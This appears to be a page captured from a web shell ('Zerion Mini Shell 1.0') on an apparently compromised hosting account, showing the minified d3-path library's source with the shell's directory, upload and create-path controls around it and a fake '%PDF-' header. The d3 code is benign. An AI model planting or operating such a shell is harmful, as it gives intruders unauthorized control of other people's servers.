%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home2/rezakur1/ai.rezakurnia.com/zh-router-frontend/node_modules/d3-path/dist/
Upload File :
Create Path :
Current File : /home2/rezakur1/ai.rezakurnia.com/zh-router-frontend/node_modules/d3-path/dist/d3-path.min.js

// https://d3js.org/d3-path/ v3.1.1 Copyright 2015-2026 Mike Bostock
!function(t,i){"object"==typeof exports&&"undefined"!=typeof module?i(exports):"function"==typeof define&&define.amd?define(["exports"],i):i((t="undefined"!=typeof globalThis?globalThis:t||self).d3=t.d3||{})}(this,function(t){"use strict";const i=Math.PI,s=2*i,h=1e-6,n=s-h;function e(t){this._+=t[0];for(let i=1,s=t.length;i<s;++i)this._+=arguments[i]+t[i]}function _(t,i,s,h){return t===s&&i===h}class o{constructor(t){this._x0=this._y0=this._x1=this._y1=null,this._="",this._append=null==t?e:function(t){let i=Math.floor(t);if(!(i>=0))throw new Error(`invalid digits: ${t}`);if(i>15)return e;const s=10**i;return function(t){this._+=t[0];for(let i=1,h=t.length;i<h;++i)this._+=Math.round(arguments[i]*s)/s+t[i]}}(t),this._equal=null==t?_:function(t){const i=Math.floor(t);if(!(i<=15))return _;const s=10**i,h=function(t){return Math.round(t*s)};return function(t,i,s,n){return h(t)===h(s)&&h(i)===h(n)}}(t)}moveTo(t,i){this._append`M${this._x0=this._x1=+t},${this._y0=this._y1=+i}`}closePath(){null!==this._x1&&(this._x1=this._x0,this._y1=this._y0,this._append`Z`)}lineTo(t,i){this._append`L${this._x1=+t},${this._y1=+i}`}quadraticCurveTo(t,i,s,h){this._append`Q${+t},${+i},${this._x1=+s},${this._y1=+h}`}bezierCurveTo(t,i,s,h,n,e){this._append`C${+t},${+i},${+s},${+h},${this._x1=+n},${this._y1=+e}`}arcTo(t,s,n,e,_){if(t=+t,s=+s,n=+n,e=+e,(_=+_)<0)throw new Error(`negative radius: ${_}`);let o=this._x1,a=this._y1,$=n-t,r=e-s,p=o-t,u=a-s,l=p*p+u*u;if(null===this._x1)this._append`M${this._x1=t},${this._y1=s}`;else if(l>h)if(Math.abs(u*$-r*p)>h&&_){let f=n-o,d=e-a,c=$*$+r*r,x=f*f+d*d,y=Math.sqrt(c),M=Math.sqrt(l),b=_*Math.tan((i-Math.acos((c+l-x)/(2*y*M)))/2),g=b/M,w=b/y;Math.abs(g-1)>h&&this._append`L${t+g*p},${s+g*u}`,this._append`A${_},${_},0,0,${+(u*f>p*d)},${this._x1=t+w*$},${this._y1=s+w*r}`}else this._append`L${this._x1=t},${this._y1=s}`;else;}arc(t,e,_,o,a,$){if(t=+t,e=+e,$=!!$,(_=+_)<0)throw new Error(`negative radius: ${_}`);let r=_*Math.cos(o),p=_*Math.sin(o),u=t+r,l=e+p,f=1^$,d=$?o-a:a-o;if(null===this._x1?this._append`M${u},${l}`:(Math.abs(this._x1-u)>h||Math.abs(this._y1-l)>h)&&this._append`L${u},${l}`,_)if(d<0&&(d=d%s+s),d>n)this._append`A${_},${_},0,1,${f},${t-r},${e-p}A${_},${_},0,1,${f},${this._x1=u},${this._y1=l}`;else if(d>h){const s=t+_*Math.cos(a),h=e+_*Math.sin(a);if(d>=i&&this._equal(u,l,s,h)){d/=2;let s=o+d;this._append`A${_},${_},0,${+(d>=i)},${f},${t+_*Math.cos(s)},${e+_*Math.sin(s)}`}this._append`A${_},${_},0,${+(d>=i)},${f},${this._x1=s},${this._y1=h}`}}rect(t,i,s,h){this._append`M${this._x0=this._x1=+t},${this._y0=this._y1=+i}h${s=+s}v${+h}h${-s}Z`}toString(){return this._}}function a(){return new o}a.prototype=o.prototype,t.Path=o,t.path=a,t.pathRound=function(t=3){return new o(+t)}});

Zerion Mini Shell 1.0